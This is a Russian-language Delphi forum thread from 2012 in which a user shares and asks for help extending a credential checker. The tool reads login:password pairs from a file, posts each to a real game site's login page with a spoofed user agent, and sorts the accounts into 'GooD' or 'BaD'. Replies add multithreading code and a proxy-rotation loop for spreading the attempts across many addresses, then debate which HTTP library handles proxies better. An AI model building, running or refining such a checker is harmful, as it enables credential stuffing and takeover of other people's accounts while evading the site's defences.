|
прокси и потоки - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
14.04.2012, 17:48
|
#1
|
|
|
|
Разведчик
|
Регистрация: 14.01.2011
Сообщений: 7
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
|
прокси и потоки
Вот собственно мой ервый кривой код)) И как сюда добавить потоки и прокси))
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdHTTP, StdCtrls, httpsend;
type
TForm1 = class(TForm)
Button1: TButton;
idhttp1: TIdHTTP;
mmo1: TMemo;
mmo2: TMemo;
Button2: TButton;
dlgOpen1: TOpenDialog;
dlgSave1: TSaveDialog;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
a,log,pas:string;
Data:TStringList;
Request:String;
HTTP:TIdHTTP;
i:Integer;
begin
for i:=0 to mmo1.Lines.Count-1 do
begin
Data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
HTTP.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)';
log:=Copy(Form1.Mmo1.Lines.Strings[i],0,Pos(';',Form1.Mmo1.Lines.Strings[i])-1);
pas:=Copy (Form1.Mmo1.Lines.Strings[i],Pos(';',Form1.Mmo1.Lines.Strings[i])+1,1000);
Data.Add('userNumber='+log);
Data.Add('password='+pas);
Request:=HTTP.Post('http://www.lordmancer.ru/index.php?p=101', Data);
if Pos('logout', Request)>0 then
begin
mmo2.Lines.Add('GooD');
end
else
begin
mmo2.Lines.Add('BaD');
end;
//finally
Data.Free;
Request:='';
HTTP.Free;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if dlgOpen1.Execute then
begin
mmo1.Lines.LoadFromFile(dlgOpen1.FileName);
end;
end;
end.
|
|
|
14.04.2012, 23:27
|
#2
|
|
|
|
Пехотинец
|
Регистрация: 02.04.2011
Сообщений: 66
Популярность: 9953
Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
|
Re: прокси и потоки
есле ты говоришь что это твой первый код .... то он не твой )
|
|
|
15.04.2012, 09:16
|
#3
|
|
|
|
Разведчик
|
Регистрация: 14.01.2011
Сообщений: 7
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
|
Re: прокси и потоки
ну я по видео делал))
Добавлено через 16 минут
ну так как это сделать поможете?
Последний раз редактировалось kpacab4uk7; 15.04.2012 в 09:33.
Причина: Добавлено сообщение
|
|
|
15.04.2012, 21:30
|
#4
|
|
|
|
Разведчик
|
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: прокси и потоки
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
idhttp1: TIdHTTP;
mmo1: TMemo;
mmo2: TMemo;
Button2: TButton;
dlgOpen1: TOpenDialog;
dlgSave1: TSaveDialog;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TNewThread = class(TThread)
private
protected
procedure Execute; override;
public
constructor Create(CreateSuspended: Boolean);
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
TNewThread.Create(false);
end;
procedure TNewThread.Execute;
var
a,log,pas:string;
Data:TStringList;
Request:String;
HTTP:TIdHTTP;
i:Integer;
begin
for i:=0 to mmo1.Lines.Count-1 do
begin
Data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
HTTP.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)';
log:=Copy(Form1.Mmo1.Lines.Strings[i],0,Pos(';',Form1.Mmo1.Lines.Strings[i])-1);
pas:=Copy (Form1.Mmo1.Lines.Strings[i],Pos(';',Form1.Mmo1.Lines.Strings[i])+1,1000);
Data.Add('userNumber='+log);
Data.Add('password='+pas);
Request:=HTTP.Post('http://www.lordmancer.ru/index.php?p=101', Data);
if Pos('logout', Request)>0 then
begin
mmo2.Lines.Add('GooD');
end
else
begin
mmo2.Lines.Add('BaD');
end;
//finally
Data.Free;
Request:='';
HTTP.Free;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if dlgOpen1.Execute then
begin
mmo1.Lines.LoadFromFile(dlgOpen1.FileName);
end;
end;
end.
end.
Точно не помню как, надо делфи открывать, а так просто дописал в твой код.
возможны ошибки т.к еще раз говорю делфи не открывал не тестил, и да программа будит в потоке, т.е не будит зависать.
Вроде ты это просил или я тебя не понел?
Последний раз редактировалось pavel!; 15.04.2012 в 21:36.
|
|
|
15.04.2012, 21:42
|
#5
|
|
|
|
Разведчик
|
Регистрация: 14.01.2011
Сообщений: 7
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
|
Re: прокси и потоки
это просил)) Спасибо)) Ща проверю)
|
|
|
15.04.2012, 22:14
|
#6
|
|
|
|
Разведчик
|
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: прокси и потоки
а это цикл прокси
Код:
ProxyList:Tstringlist;
ProxyList:=Tstringlist.create;
ProxyList.LoadFromFile('proxy.txt');
i:=0;
while i<ProxyList.Count do
begin
IdHTTP.ProxyParams.ProxyServer:=Copy(ProxyList[i],1,Pos(':',ProxyList[i])-1);
IdHTTP.ProxyParams.ProxyPort:=StrToInt(Copy(ProxyL ist[i],Pos(':',ProxyList[i])+1,Length(ProxyList[i])-Pos(':',ProxyList[i])));
Тут делаем запрос
inc(i);
end;
© Zdez Bill Ya
|
|
|
22.04.2012, 20:13
|
#7
|
|
|
|
Разведчик
|
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
|
Re: прокси и потоки
На инди с прокси ничего хорошего не выйдет. Для работы с прокси нужно юзать synapse например.
|
|
|
22.04.2012, 22:41
|
#8
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: прокси и потоки
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
23.04.2012, 01:34
|
#9
|
|
|
|
Разведчик
|
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
|
Re: прокси и потоки
В общем сколько я не пытался сделать, что бы нормально работали http прокси в инди, у меня так и не получилось. Я пришёл к выводу, что какой- то баг.
Допустим я присваиваю проксю и делаю запрос. Первые несколько вроде нормально. Но соответственно, во избежание непредвиденных ситуаций я ставлю исключение. Допустим я беру из стринглиста первую проксю и совершаю запрос, после чего если всё нормально, то я добавляю её в конец списка, иначе(исключение), я удаляю её.
Вроде бы логика понятна, и в многопоточном приложение вроде выходить должно кашерно, но как же без - "но". Через некоторое время инди клинит и удаляются все прокси. Я не нашёл решение данной проблемы.
В синапсе с таким не сталкиваюсь, всё работает на ура. И исходя из собственного опыта и потерянного времени, советую человеку не мучиться.
|
|
|
24.04.2012, 12:50
|
#10
|
|
|
|
Сержант
|
Регистрация: 20.07.2010
Сообщений: 137
Популярность: 26409
Сказал(а) спасибо: 52
Поблагодарили 566 раз(а) в 197 сообщениях
|
Re: прокси и потоки
|
|
|
24.04.2012, 16:18
|
#11
|
|
|
|
Разведчик
|
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
|
Re: прокси и потоки
|
|
|
24.04.2012, 17:00
|
#12
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: прокси и потоки
Tip.the.besT, в чём вина библиотеки?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
24.04.2012, 17:50
|
#13
|
|
|
|
Разведчик
|
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
|
Re: прокси и потоки
|
|
|
24.04.2012, 18:00
|
#14
|
|
|
|
Пехотинец
|
Регистрация: 23.03.2012
Сообщений: 83
Популярность: 908
Сказал(а) спасибо: 102
Поблагодарили 144 раз(а) в 61 сообщениях
|
Re: прокси и потоки
|
|
|
24.04.2012, 21:19
|
#15
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: прокси и потоки
Tip.the.besT, так прокси удаляются не библиотекой, а вашим кодом. При чём тут сама библиотека?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Похожие темы
|
Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
[Статья] Потоки в Delphi
|
lolwut98 |
Pascal/Delphi |
14 |
07.04.2013 11:50 |
Потоки.
|
анашан |
Общение и обсуждение |
1 |
26.09.2011 16:17 |
Потоки
|
vkvova5 |
Вопросы и ответы, обсуждения |
15 |
21.08.2011 02:16 |
[Помогите!] Потоки
|
iVs.Dark |
Вопросы и ответы, обсуждения |
1 |
05.08.2011 12:24 |
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 07:59.
|
|